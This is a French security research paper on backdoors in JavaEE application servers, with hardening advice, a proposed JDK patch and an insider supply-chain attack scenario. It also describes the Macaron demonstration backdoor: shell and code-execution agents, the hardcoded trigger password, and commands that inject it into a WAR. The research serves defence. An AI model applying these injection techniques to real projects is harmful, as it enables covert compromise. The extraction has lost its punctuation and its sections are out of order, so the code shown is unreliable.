Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

